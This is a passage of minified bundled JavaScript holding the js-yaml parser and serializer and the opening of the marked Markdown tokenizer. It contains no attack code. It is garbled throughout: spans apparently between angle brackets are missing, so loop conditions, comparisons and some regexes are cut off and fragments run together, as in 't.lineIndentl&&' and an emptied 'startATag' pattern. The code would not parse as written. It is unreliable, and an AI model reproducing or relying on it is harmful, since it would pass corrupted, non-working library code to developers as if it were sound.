n,i,a,s,l,u,h,f,d=t.kind,p=t.result,m;if(m=t.input.charCodeAt(t.position),Os(m)||bm(m)||m===35||m===38||m===42||m===33||m===124||m===62||m===39||m===34||m===37||m===64||m===96||(m===63||m===45)&&(i=t.input.charCodeAt(t.position+1),Os(i)||r&&bm(i)))return!1;for(t.kind="scalar",t.result="",a=s=t.position,l=!1;m!==0;){if(m===58){if(i=t.input.charCodeAt(t.position+1),Os(i)||r&&bm(i))break}else if(m===35){if(n=t.input.charCodeAt(t.position-1),Os(n))break}else{if(t.position===t.lineStart&&$T(t)||r&&bm(m))break;if(bc(m))if(u=t.line,h=t.lineStart,f=t.lineIndent,Ci(t,!1,-1),t.lineIndent>=e){l=!0,m=t.input.charCodeAt(t.position);continue}else{t.position=s,t.line=u,t.lineStart=h,t.lineIndent=f;break}}l&&(Yh(t,a,s,!1),a9(t,t.line-u),a=s=t.position,l=!1),Yd(m)||(s=t.position+1),m=t.input.charCodeAt(++t.position)}return Yh(t,a,s,!1),t.result?!0:(t.kind=d,t.result=p,!1)}function uLe(t,e){var r,n,i;if(r=t.input.charCodeAt(t.position),r!==39)return!1;for(t.kind="scalar",t.result="",t.position++,n=i=t.position;(r=t.input.charCodeAt(t.position))!==0;)if(r===39)if(Yh(t,n,t.position,!0),r=t.input.charCodeAt(++t.position),r===39)n=t.position,t.position++,i=t.position;else return!0;else bc(r)?(Yh(t,n,i,!0),a9(t,Ci(t,!1,e)),n=i=t.position):t.position===t.lineStart&&$T(t)?Zt(t,"unexpected end of the document within a single quoted scalar"):(t.position++,i=t.position);Zt(t,"unexpected end of the stream within a single quoted scalar")}function hLe(t,e){var r,n,i,a,s,l;if(l=t.input.charCodeAt(t.position),l!==34)return!1;for(t.kind="scalar",t.result="",t.position++,r=n=t.position;(l=t.input.charCodeAt(t.position))!==0;){if(l===34)return Yh(t,r,t.position,!0),t.position++,!0;if(l===92){if(Yh(t,r,t.position,!0),l=t.input.charCodeAt(++t.position),bc(l))Ci(t,!1,e);else if(l<256&&aZ[l])t.result+=sZ[l],t.position++;else if((s=aLe(l))>0){for(i=s,a=0;i>0;i--)l=t.input.charCodeAt(++t.position),(s=iLe(l))>=0?a=(a<<4)+s:Zt(t,"expected hexadecimal character");t.result+=oLe(a),t.position++}else Zt(t,"unknown escape sequence");r=n=t.position}else bc(l)?(Yh(t,r,n,!0),a9(t,Ci(t,!1,e)),r=n=t.position):t.position===t.lineStart&&$T(t)?Zt(t,"unexpected end of the document within a double quoted scalar"):(t.position++,n=t.position)}Zt(t,"unexpected end of the stream within a double quoted scalar")}function fLe(t,e){var r=!0,n,i,a,s=t.tag,l,u=t.anchor,h,f,d,p,m,g=Object.create(null),y,v,x,b;if(b=t.input.charCodeAt(t.position),b===91)f=93,m=!1,l=[];else if(b===123)f=125,m=!0,l={};else return!1;for(t.anchor!==null&&(t.anchorMap[t.anchor]=l),b=t.input.charCodeAt(++t.position);b!==0;){if(Ci(t,!0,e),b=t.input.charCodeAt(t.position),b===f)return t.position++,t.tag=s,t.anchor=u,t.kind=m?"mapping":"sequence",t.result=l,!0;r?b===44&&Zt(t,"expected the node content, but found ','"):Zt(t,"missed comma between flow collection entries"),v=y=x=null,d=p=!1,b===63&&(h=t.input.charCodeAt(t.position+1),Os(h)&&(d=p=!0,t.position++,Ci(t,!0,e))),n=t.line,i=t.lineStart,a=t.position,wm(t,e,IT,!1,!0),v=t.tag,y=t.result,Ci(t,!0,e),b=t.input.charCodeAt(t.position),(p||t.line===n)&&b===58&&(d=!0,b=t.input.charCodeAt(++t.position),Ci(t,!0,e),wm(t,e,IT,!1,!0),x=t.result),m?Tm(t,l,g,v,y,x,n,i,a):d?l.push(Tm(t,null,g,v,y,x,n,i,a)):l.push(y),Ci(t,!0,e),b=t.input.charCodeAt(t.position),b===44?(r=!0,b=t.input.charCodeAt(++t.position)):r=!1}Zt(t,"unexpected end of the stream within a flow collection")}function dLe(t,e){var r,n,i=QL,a=!1,s=!1,l=e,u=0,h=!1,f,d;if(d=t.input.charCodeAt(t.position),d===124)n=!1;else if(d===62)n=!0;else return!1;for(t.kind="scalar",t.result="";d!==0;)if(d=t.input.charCodeAt(++t.position),d===43||d===45)QL===i?i=d===43?OQ:eLe:Zt(t,"repeat of a chomping mode identifier");else if((f=sLe(d))>=0)f===0?Zt(t,"bad explicit indentation width of a block scalar; it cannot be less than one"):s?Zt(t,"repeat of an indentation width identifier"):(l=e+f-1,s=!0);else break;if(Yd(d)){do d=t.input.charCodeAt(++t.position);while(Yd(d));if(d===35)do d=t.input.charCodeAt(++t.position);while(!bc(d)&&d!==0)}for(;d!==0;){for(i9(t),t.lineIndent=0,d=t.input.charCodeAt(t.position);(!s||t.lineIndentl&&(l=t.lineIndent),bc(d)){u++;continue}if(t.lineIndente)&&u!==0)Zt(t,"bad indentation of a sequence entry");else if(t.lineIndente)&&(v&&(s=t.line,l=t.lineStart,u=t.position),wm(t,e,OT,!0,i)&&(v?g=t.result:y=t.result),v||(Tm(t,d,p,m,g,y,s,l,u),m=g=y=null),Ci(t,!0,-1),b=t.input.charCodeAt(t.position)),(t.line===a||t.lineIndent>e)&&b!==0)Zt(t,"bad indentation of a mapping entry");else if(t.lineIndente?u=1:t.lineIndent===e?u=0:t.lineIndente?u=1:t.lineIndent===e?u=0:t.lineIndent tag; it should be "scalar", not "'+t.kind+'"'),d=0,p=t.implicitTypes.length;d"),t.result!==null&&g.kind!==t.kind&&Zt(t,"unacceptable node kind for !<"+t.tag+'> tag; it should be "'+g.kind+'", not "'+t.kind+'"'),g.resolve(t.result,t.tag)?(t.result=g.construct(t.result,t.tag),t.anchor!==null&&(t.anchorMap[t.anchor]=t.result)):Zt(t,"cannot resolve a node with !<"+t.tag+"> explicit tag")}return t.listener!==null&&t.listener("close",t),t.tag!==null||t.anchor!==null||f}function vLe(t){var e=t.position,r,n,i,a=!1,s;for(t.version=null,t.checkLineBreaks=t.legacy,t.tagMap=Object.create(null),t.anchorMap=Object.create(null);(s=t.input.charCodeAt(t.position))!==0&&(Ci(t,!0,-1),s=t.input.charCodeAt(t.position),!(t.lineIndent>0||s!==37));){for(a=!0,s=t.input.charCodeAt(++t.position),r=t.position;s!==0&&!Os(s);)s=t.input.charCodeAt(++t.position);for(n=t.input.slice(r,t.position),i=[],n.length<1&&Zt(t,"directive name must not be less than one character in length");s!==0;){for(;Yd(s);)s=t.input.charCodeAt(++t.position);if(s===35){do s=t.input.charCodeAt(++t.position);while(s!==0&&!bc(s));break}if(bc(s))break;for(r=t.position;s!==0&&!Os(s);)s=t.input.charCodeAt(++t.position);i.push(t.input.slice(r,t.position))}s!==0&&i9(t),Xh.call(FQ,n)?FQ[n](t,n,i):PT(t,'unknown document directive "'+n+'"')}if(Ci(t,!0,-1),t.lineIndent===0&&t.input.charCodeAt(t.position)===45&&t.input.charCodeAt(t.position+1)===45&&t.input.charCodeAt(t.position+2)===45?(t.position+=3,Ci(t,!0,-1)):a&&Zt(t,"directives end mark is expected"),wm(t,t.lineIndent-1,OT,!1,!0),Ci(t,!0,-1),t.checkLineBreaks&&rLe.test(t.input.slice(e,t.position))&&PT(t,"non-ASCII line breaks are interpreted as content"),t.documents.push(t.result),t.position===t.lineStart&&$T(t)){t.input.charCodeAt(t.position)===46&&(t.position+=3,Ci(t,!0,-1));return}if(t.position"u"&&(r=e,e=null);var n=lZ(t,r);if(typeof e!="function")return n;for(var i=0,a=n.length;i=55296&&r<=56319&&e+1=56320&&n<=57343)?(r-55296)*1024+n-56320+65536:r}function yZ(t){var e=/^\n* /;return e.test(t)}function XLe(t,e,r,n,i,a,s,l){var u,h=0,f=null,d=!1,p=!1,m=n!==-1,g=-1,y=WLe(y2(t,0))&&YLe(y2(t,t.length-1));if(e||s)for(u=0;u=65536?u+=2:u++){if(h=y2(t,u),!T2(h))return xm;y=y&&UQ(h,f,l),f=h}else{for(u=0;u=65536?u+=2:u++){if(h=y2(t,u),h===x2)d=!0,m&&(p=p||u-g-1>n&&t[g+1]!==" ",g=u);else if(!T2(h))return xm;y=y&&UQ(h,f,l),f=h}p=p||m&&u-g-1>n&&t[g+1]!==" "}return!d&&!p?y&&!s&&!i(t)?vZ:a===b2?xm:t9:r>9&&yZ(t)?xm:s?a===b2?xm:t9:p?bZ:xZ}function jLe(t,e,r,n,i){t.dump=(function(){if(e.length===0)return t.quotingType===b2?'""':"''";if(!t.noCompatMode&&($Le.indexOf(e)!==-1||zLe.test(e)))return t.quotingType===b2?'"'+e+'"':"'"+e+"'";var a=t.indent*Math.max(1,r),s=t.lineWidth===-1?-1:Math.max(Math.min(t.lineWidth,40),t.lineWidth-a),l=n||t.flowLevel>-1&&r>=t.flowLevel;function u(h){return qLe(t,h)}switch(o(u,"testAmbiguity"),XLe(e,l,t.indent,s,u,t.quotingType,t.forceQuotes&&!n,i)){case vZ:return e;case t9:return"'"+e.replace(/'/g,"''")+"'";case xZ:return"|"+HQ(e,t.indent)+qQ(GQ(e,a));case bZ:return">"+HQ(e,t.indent)+qQ(GQ(KLe(e,s),a));case xm:return'"'+QLe(e)+'"';default:throw new Is("impossible error: invalid scalar style")}})()}function HQ(t,e){var r=yZ(t)?String(e):"",n=t[t.length-1]===` +`,i=n&&(t[t.length-2]===` +`||t===` +`),a=i?"+":n?"":"-";return r+a+` +`}function qQ(t){return t[t.length-1]===` +`?t.slice(0,-1):t}function KLe(t,e){for(var r=/(\n+)([^\n]*)/g,n=(function(){var h=t.indexOf(` +`);return h=h!==-1?h:t.length,r.lastIndex=h,WQ(t.slice(0,h),e)})(),i=t[0]===` +`||t[0]===" ",a,s;s=r.exec(t);){var l=s[1],u=s[2];a=u[0]===" ",n+=l+(!i&&!a&&u!==""?` +`:"")+WQ(u,e),i=a}return n}function WQ(t,e){if(t===""||t[0]===" ")return t;for(var r=/ [^ ]/g,n,i=0,a,s=0,l=0,u="";n=r.exec(t);)l=n.index,l-i>e&&(a=s>i?s:l,u+=` +`+t.slice(i,a),i=a+1),s=l;return u+=` +`,t.length-i>e&&s>i?u+=t.slice(i,s)+` +`+t.slice(s+1):u+=t.slice(i),u.slice(1)}function QLe(t){for(var e="",r=0,n,i=0;i=65536?i+=2:i++)r=y2(t,i),n=Ia[r],!n&&T2(r)?(e+=t[i],r>=65536&&(e+=t[i+1])):e+=n||VLe(r);return e}function ZLe(t,e,r){var n="",i=t.tag,a,s,l;for(a=0,s=r.length;a"u"&&Nu(t,e,null,!1,!1))&&(n!==""&&(n+=","+(t.condenseFlow?"":" ")),n+=t.dump);t.tag=i,t.dump="["+n+"]"}function YQ(t,e,r,n){var i="",a=t.tag,s,l,u;for(s=0,l=r.length;s"u"&&Nu(t,e+1,null,!0,!0,!1,!0))&&((!n||i!=="")&&(i+=e9(t,e)),t.dump&&x2===t.dump.charCodeAt(0)?i+="-":i+="- ",i+=t.dump);t.tag=a,t.dump=i||"[]"}function JLe(t,e,r){var n="",i=t.tag,a=Object.keys(r),s,l,u,h,f;for(s=0,l=a.length;s1024&&(f+="? "),f+=t.dump+(t.condenseFlow?'"':"")+":"+(t.condenseFlow?"":" "),Nu(t,e,h,!1,!1)&&(f+=t.dump,n+=f));t.tag=i,t.dump="{"+n+"}"}function e9e(t,e,r,n){var i="",a=t.tag,s=Object.keys(r),l,u,h,f,d,p;if(t.sortKeys===!0)s.sort();else if(typeof t.sortKeys=="function")s.sort(t.sortKeys);else if(t.sortKeys)throw new Is("sortKeys must be a boolean or a function");for(l=0,u=s.length;l1024,d&&(t.dump&&x2===t.dump.charCodeAt(0)?p+="?":p+="? "),p+=t.dump,d&&(p+=e9(t,e)),Nu(t,e+1,f,!0,d)&&(t.dump&&x2===t.dump.charCodeAt(0)?p+=":":p+=": ",p+=t.dump,i+=p));t.tag=a,t.dump=i||"{}"}function XQ(t,e,r){var n,i,a,s,l,u;for(i=r?t.explicitTypes:t.implicitTypes,a=0,s=i.length;a tag resolver accepts not "'+u+'" style');t.dump=n}return!0}return!1}function Nu(t,e,r,n,i,a,s){t.tag=null,t.dump=r,XQ(t,r,!1)||XQ(t,r,!0);var l=uZ.call(t.dump),u=n,h;n&&(n=t.flowLevel<0||t.flowLevel>e);var f=l==="[object Object]"||l==="[object Array]",d,p;if(f&&(d=t.duplicates.indexOf(r),p=d!==-1),(t.tag!==null&&t.tag!=="?"||p||t.indent!==2&&e>0)&&(i=!1),p&&t.usedDuplicates[d])t.dump="*ref_"+d;else{if(f&&p&&!t.usedDuplicates[d]&&(t.usedDuplicates[d]=!0),l==="[object Object]")n&&Object.keys(t.dump).length!==0?(e9e(t,e,t.dump,i),p&&(t.dump="&ref_"+d+t.dump)):(JLe(t,e,t.dump),p&&(t.dump="&ref_"+d+" "+t.dump));else if(l==="[object Array]")n&&t.dump.length!==0?(t.noArrayIndent&&!s&&e>0?YQ(t,e-1,t.dump,i):YQ(t,e,t.dump,i),p&&(t.dump="&ref_"+d+t.dump)):(ZLe(t,e,t.dump),p&&(t.dump="&ref_"+d+" "+t.dump));else if(l==="[object String]")t.tag!=="?"&&jLe(t,t.dump,e,a,u);else{if(l==="[object Undefined]")return!1;if(t.skipInvalid)return!1;throw new Is("unacceptable kind of an object to dump "+l)}t.tag!==null&&t.tag!=="?"&&(h=encodeURI(t.tag[0]==="!"?t.tag.slice(1):t.tag).replace(/!/g,"%21"),t.tag[0]==="!"?h="!"+h:h.slice(0,18)==="tag:yaml.org,2002:"?h="!!"+h.slice(18):h="!<"+h+">",t.dump=h+" "+t.dump)}return!0}function t9e(t,e){var r=[],n=[],i,a;for(r9(t,r,n),i=0,a=n.length;i{"use strict";o(jQ,"isNothing");o(F_e,"isObject");o($_e,"toArray");o(z_e,"extend");o(G_e,"repeat");o(V_e,"isNegativeZero");U_e=jQ,H_e=F_e,q_e=$_e,W_e=G_e,Y_e=V_e,X_e=z_e,Pi={isNothing:U_e,isObject:H_e,toArray:q_e,repeat:W_e,isNegativeZero:Y_e,extend:X_e};o(KQ,"formatError");o(v2,"YAMLException$1");v2.prototype=Object.create(Error.prototype);v2.prototype.constructor=v2;v2.prototype.toString=o(function(e){return this.name+": "+KQ(this,e)},"toString");Is=v2;o(jL,"getLine");o(KL,"padStart");o(j_e,"makeSnippet");K_e=j_e,Q_e=["kind","multi","resolve","construct","instanceOf","predicate","represent","representName","defaultStyle","styleAliases"],Z_e=["scalar","sequence","mapping"];o(J_e,"compileStyleAliases");o(eDe,"Type$1");Ma=eDe;o(IQ,"compileList");o(tDe,"compileMap");o(ZL,"Schema$1");ZL.prototype.extend=o(function(e){var r=[],n=[];if(e instanceof Ma)n.push(e);else if(Array.isArray(e))n=n.concat(e);else if(e&&(Array.isArray(e.implicit)||Array.isArray(e.explicit)))e.implicit&&(r=r.concat(e.implicit)),e.explicit&&(n=n.concat(e.explicit));else throw new Is("Schema.extend argument should be a Type, [ Type ], or a schema definition ({ implicit: [...], explicit: [...] })");r.forEach(function(a){if(!(a instanceof Ma))throw new Is("Specified list of YAML types (or a single Type object) contains a non-Type object.");if(a.loadKind&&a.loadKind!=="scalar")throw new Is("There is a non-scalar type in the implicit list of a schema. Implicit resolving of such types is not supported.");if(a.multi)throw new Is("There is a multi type in the implicit list of a schema. Multi tags can only be listed as explicit.")}),n.forEach(function(a){if(!(a instanceof Ma))throw new Is("Specified list of YAML types (or a single Type object) contains a non-Type object.")});var i=Object.create(ZL.prototype);return i.implicit=(this.implicit||[]).concat(r),i.explicit=(this.explicit||[]).concat(n),i.compiledImplicit=IQ(i,"implicit"),i.compiledExplicit=IQ(i,"explicit"),i.compiledTypeMap=tDe(i.compiledImplicit,i.compiledExplicit),i},"extend");rDe=ZL,nDe=new Ma("tag:yaml.org,2002:str",{kind:"scalar",construct:o(function(t){return t!==null?t:""},"construct")}),iDe=new Ma("tag:yaml.org,2002:seq",{kind:"sequence",construct:o(function(t){return t!==null?t:[]},"construct")}),aDe=new Ma("tag:yaml.org,2002:map",{kind:"mapping",construct:o(function(t){return t!==null?t:{}},"construct")}),sDe=new rDe({explicit:[nDe,iDe,aDe]});o(oDe,"resolveYamlNull");o(lDe,"constructYamlNull");o(cDe,"isNull");uDe=new Ma("tag:yaml.org,2002:null",{kind:"scalar",resolve:oDe,construct:lDe,predicate:cDe,represent:{canonical:o(function(){return"~"},"canonical"),lowercase:o(function(){return"null"},"lowercase"),uppercase:o(function(){return"NULL"},"uppercase"),camelcase:o(function(){return"Null"},"camelcase"),empty:o(function(){return""},"empty")},defaultStyle:"lowercase"});o(hDe,"resolveYamlBoolean");o(fDe,"constructYamlBoolean");o(dDe,"isBoolean");pDe=new Ma("tag:yaml.org,2002:bool",{kind:"scalar",resolve:hDe,construct:fDe,predicate:dDe,represent:{lowercase:o(function(t){return t?"true":"false"},"lowercase"),uppercase:o(function(t){return t?"TRUE":"FALSE"},"uppercase"),camelcase:o(function(t){return t?"True":"False"},"camelcase")},defaultStyle:"lowercase"});o(mDe,"isHexCode");o(gDe,"isOctCode");o(yDe,"isDecCode");o(vDe,"resolveYamlInteger");o(xDe,"constructYamlInteger");o(bDe,"isInteger");TDe=new Ma("tag:yaml.org,2002:int",{kind:"scalar",resolve:vDe,construct:xDe,predicate:bDe,represent:{binary:o(function(t){return t>=0?"0b"+t.toString(2):"-0b"+t.toString(2).slice(1)},"binary"),octal:o(function(t){return t>=0?"0o"+t.toString(8):"-0o"+t.toString(8).slice(1)},"octal"),decimal:o(function(t){return t.toString(10)},"decimal"),hexadecimal:o(function(t){return t>=0?"0x"+t.toString(16).toUpperCase():"-0x"+t.toString(16).toUpperCase().slice(1)},"hexadecimal")},defaultStyle:"decimal",styleAliases:{binary:[2,"bin"],octal:[8,"oct"],decimal:[10,"dec"],hexadecimal:[16,"hex"]}}),wDe=new RegExp("^(?:[-+]?(?:[0-9][0-9_]*)(?:\\.[0-9_]*)?(?:[eE][-+]?[0-9]+)?|\\.[0-9_]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$");o(kDe,"resolveYamlFloat");o(EDe,"constructYamlFloat");SDe=/^[-+]?[0-9]+e/;o(CDe,"representYamlFloat");o(ADe,"isFloat");_De=new Ma("tag:yaml.org,2002:float",{kind:"scalar",resolve:kDe,construct:EDe,predicate:ADe,represent:CDe,defaultStyle:"lowercase"}),QQ=sDe.extend({implicit:[uDe,pDe,TDe,_De]}),DDe=QQ,ZQ=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9])-([0-9][0-9])$"),JQ=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9]?)-([0-9][0-9]?)(?:[Tt]|[ \\t]+)([0-9][0-9]?):([0-9][0-9]):([0-9][0-9])(?:\\.([0-9]*))?(?:[ \\t]*(Z|([-+])([0-9][0-9]?)(?::([0-9][0-9]))?))?$");o(LDe,"resolveYamlTimestamp");o(RDe,"constructYamlTimestamp");o(NDe,"representYamlTimestamp");MDe=new Ma("tag:yaml.org,2002:timestamp",{kind:"scalar",resolve:LDe,construct:RDe,instanceOf:Date,represent:NDe});o(IDe,"resolveYamlMerge");ODe=new Ma("tag:yaml.org,2002:merge",{kind:"scalar",resolve:IDe}),n9=`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= +\r`;o(PDe,"resolveYamlBinary");o(BDe,"constructYamlBinary");o(FDe,"representYamlBinary");o($De,"isBinary");zDe=new Ma("tag:yaml.org,2002:binary",{kind:"scalar",resolve:PDe,construct:BDe,predicate:$De,represent:FDe}),GDe=Object.prototype.hasOwnProperty,VDe=Object.prototype.toString;o(UDe,"resolveYamlOmap");o(HDe,"constructYamlOmap");qDe=new Ma("tag:yaml.org,2002:omap",{kind:"sequence",resolve:UDe,construct:HDe}),WDe=Object.prototype.toString;o(YDe,"resolveYamlPairs");o(XDe,"constructYamlPairs");jDe=new Ma("tag:yaml.org,2002:pairs",{kind:"sequence",resolve:YDe,construct:XDe}),KDe=Object.prototype.hasOwnProperty;o(QDe,"resolveYamlSet");o(ZDe,"constructYamlSet");JDe=new Ma("tag:yaml.org,2002:set",{kind:"mapping",resolve:QDe,construct:ZDe}),eZ=DDe.extend({implicit:[MDe,ODe],explicit:[zDe,qDe,jDe,JDe]}),Xh=Object.prototype.hasOwnProperty,IT=1,tZ=2,rZ=3,OT=4,QL=1,eLe=2,OQ=3,tLe=/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x84\x86-\x9F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/,rLe=/[\x85\u2028\u2029]/,nLe=/[,\[\]\{\}]/,nZ=/^(?:!|!!|![a-z\-]+!)$/i,iZ=/^(?:!|[^,\[\]\{\}])(?:%[0-9a-f]{2}|[0-9a-z\-#;\/\?:@&=\+\$,_\.!~\*'\(\)\[\]])*$/i;o(PQ,"_class");o(bc,"is_EOL");o(Yd,"is_WHITE_SPACE");o(Os,"is_WS_OR_EOL");o(bm,"is_FLOW_INDICATOR");o(iLe,"fromHexCode");o(aLe,"escapedHexLen");o(sLe,"fromDecimalCode");o(BQ,"simpleEscapeSequence");o(oLe,"charFromCodepoint");aZ=new Array(256),sZ=new Array(256);for(Wd=0;Wd<256;Wd++)aZ[Wd]=BQ(Wd)?1:0,sZ[Wd]=BQ(Wd);o(lLe,"State$1");o(oZ,"generateError");o(Zt,"throwError");o(PT,"throwWarning");FQ={YAML:o(function(e,r,n){var i,a,s;e.version!==null&&Zt(e,"duplication of %YAML directive"),n.length!==1&&Zt(e,"YAML directive accepts exactly one argument"),i=/^([0-9]+)\.([0-9]+)$/.exec(n[0]),i===null&&Zt(e,"ill-formed argument of the YAML directive"),a=parseInt(i[1],10),s=parseInt(i[2],10),a!==1&&Zt(e,"unacceptable YAML version of the document"),e.version=n[0],e.checkLineBreaks=s<2,s!==1&&s!==2&&PT(e,"unsupported YAML version of the document")},"handleYamlDirective"),TAG:o(function(e,r,n){var i,a;n.length!==2&&Zt(e,"TAG directive accepts exactly two arguments"),i=n[0],a=n[1],nZ.test(i)||Zt(e,"ill-formed tag handle (first argument) of the TAG directive"),Xh.call(e.tagMap,i)&&Zt(e,'there is a previously declared suffix for "'+i+'" tag handle'),iZ.test(a)||Zt(e,"ill-formed tag prefix (second argument) of the TAG directive");try{a=decodeURIComponent(a)}catch{Zt(e,"tag prefix is malformed: "+a)}e.tagMap[i]=a},"handleTagDirective")};o(Yh,"captureSegment");o($Q,"mergeMappings");o(Tm,"storeMappingPair");o(i9,"readLineBreak");o(Ci,"skipSeparationSpace");o($T,"testDocumentSeparator");o(a9,"writeFoldedLines");o(cLe,"readPlainScalar");o(uLe,"readSingleQuotedScalar");o(hLe,"readDoubleQuotedScalar");o(fLe,"readFlowCollection");o(dLe,"readBlockScalar");o(zQ,"readBlockSequence");o(pLe,"readBlockMapping");o(mLe,"readTagProperty");o(gLe,"readAnchorProperty");o(yLe,"readAlias");o(wm,"composeNode");o(vLe,"readDocument");o(lZ,"loadDocuments");o(xLe,"loadAll$1");o(bLe,"load$1");TLe=xLe,wLe=bLe,cZ={loadAll:TLe,load:wLe},uZ=Object.prototype.toString,hZ=Object.prototype.hasOwnProperty,s9=65279,kLe=9,x2=10,ELe=13,SLe=32,CLe=33,ALe=34,JL=35,_Le=37,DLe=38,LLe=39,RLe=42,fZ=44,NLe=45,BT=58,MLe=61,ILe=62,OLe=63,PLe=64,dZ=91,pZ=93,BLe=96,mZ=123,FLe=124,gZ=125,Ia={};Ia[0]="\\0";Ia[7]="\\a";Ia[8]="\\b";Ia[9]="\\t";Ia[10]="\\n";Ia[11]="\\v";Ia[12]="\\f";Ia[13]="\\r";Ia[27]="\\e";Ia[34]='\\"';Ia[92]="\\\\";Ia[133]="\\N";Ia[160]="\\_";Ia[8232]="\\L";Ia[8233]="\\P";$Le=["y","Y","yes","Yes","YES","on","On","ON","n","N","no","No","NO","off","Off","OFF"],zLe=/^[-+]?[0-9_]+(?::[0-9_]+)+(?:\.[0-9_]*)?$/;o(GLe,"compileStyleMap");o(VLe,"encodeHex");ULe=1,b2=2;o(HLe,"State");o(GQ,"indentString");o(e9,"generateNextLine");o(qLe,"testImplicitResolving");o(FT,"isWhitespace");o(T2,"isPrintable");o(VQ,"isNsCharOrWhitespace");o(UQ,"isPlainSafe");o(WLe,"isPlainSafeFirst");o(YLe,"isPlainSafeLast");o(y2,"codePointAt");o(yZ,"needIndentIndicator");vZ=1,t9=2,xZ=3,bZ=4,xm=5;o(XLe,"chooseScalarStyle");o(jLe,"writeScalar");o(HQ,"blockHeader");o(qQ,"dropEndingNewline");o(KLe,"foldString");o(WQ,"foldLine");o(QLe,"escapeString");o(ZLe,"writeFlowSequence");o(YQ,"writeBlockSequence");o(JLe,"writeFlowMapping");o(e9e,"writeBlockMapping");o(XQ,"detectType");o(Nu,"writeNode");o(t9e,"getDuplicateReferences");o(r9,"inspectNode");o(r9e,"dump$1");n9e=r9e,i9e={dump:n9e};o(o9,"renamed");jh=QQ,Kh=cZ.load,A6t=cZ.loadAll,_6t=i9e.dump,D6t=o9("safeLoad","load"),L6t=o9("safeLoadAll","loadAll"),R6t=o9("safeDump","dump")});function h9(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}function CZ(t){jd=t}function on(t,e=""){let r=typeof t=="string"?t:t.source,n={replace:o((i,a)=>{let s=typeof a=="string"?a:a.source;return s=s.replace(as.caret,"$1"),r=r.replace(i,s),n},"replace"),getRegex:o(()=>new RegExp(r,e),"getRegex")};return n}function Tc(t,e){if(e){if(as.escapeTest.test(t))return t.replace(as.escapeReplace,wZ)}else if(as.escapeTestNoEncode.test(t))return t.replace(as.escapeReplaceNoEncode,wZ);return t}function kZ(t){try{t=encodeURI(t).replace(as.percentDecode,"%")}catch{return null}return t}function EZ(t,e){let r=t.replace(as.findPipe,(a,s,l)=>{let u=!1,h=s;for(;--h>=0&&l[h]==="\\";)u=!u;return u?"|":" |"}),n=r.split(as.splitPipe),i=0;if(n[0].trim()||n.shift(),n.length>0&&!n.at(-1)?.trim()&&n.pop(),e)if(n.length>e)n.splice(e);else for(;n.length0?-2:-1}function SZ(t,e,r,n,i){let a=e.href,s=e.title||null,l=t[1].replace(i.other.outputLinkReplace,"$1");n.state.inLink=!0;let u={type:t[0].charAt(0)==="!"?"image":"link",raw:r,href:a,title:s,text:l,tokens:n.inlineTokens(l)};return n.state.inLink=!1,u}function $9e(t,e,r){let n=t.match(r.other.indentCodeCompensation);if(n===null)return e;let i=n[1];return e.split(` +`).map(a=>{let s=a.match(r.other.beginningSpace);if(s===null)return a;let[l]=s;return l.length>=i.length?a.slice(i.length):a}).join(` +`)}function nn(t,e){return Xd.parse(t,e)}var jd,C2,as,a9e,s9e,o9e,A2,l9e,f9,AZ,_Z,c9e,d9,u9e,p9,h9e,f9e,qT,m9,d9e,DZ,p9e,g9,TZ,m9e,g9e,y9e,v9e,LZ,x9e,WT,y9,RZ,b9e,NZ,T9e,w9e,k9e,MZ,E9e,S9e,IZ,C9e,A9e,_9e,D9e,L9e,R9e,N9e,VT,M9e,OZ,PZ,I9e,v9,O9e,l9,P9e,GT,k2,B9e,wZ,UT,Mu,HT,x9,Iu,S2,z9e,Xd,M6t,I6t,O6t,P6t,B6t,F6t,$6t,BZ=N(()=>{"use strict";o(h9,"L");jd=h9();o(CZ,"G");C2={exec:o(()=>null,"exec")};o(on,"h");as={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/ig,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:o(t=>new RegExp(`^( {0,3}${t})((?:[ 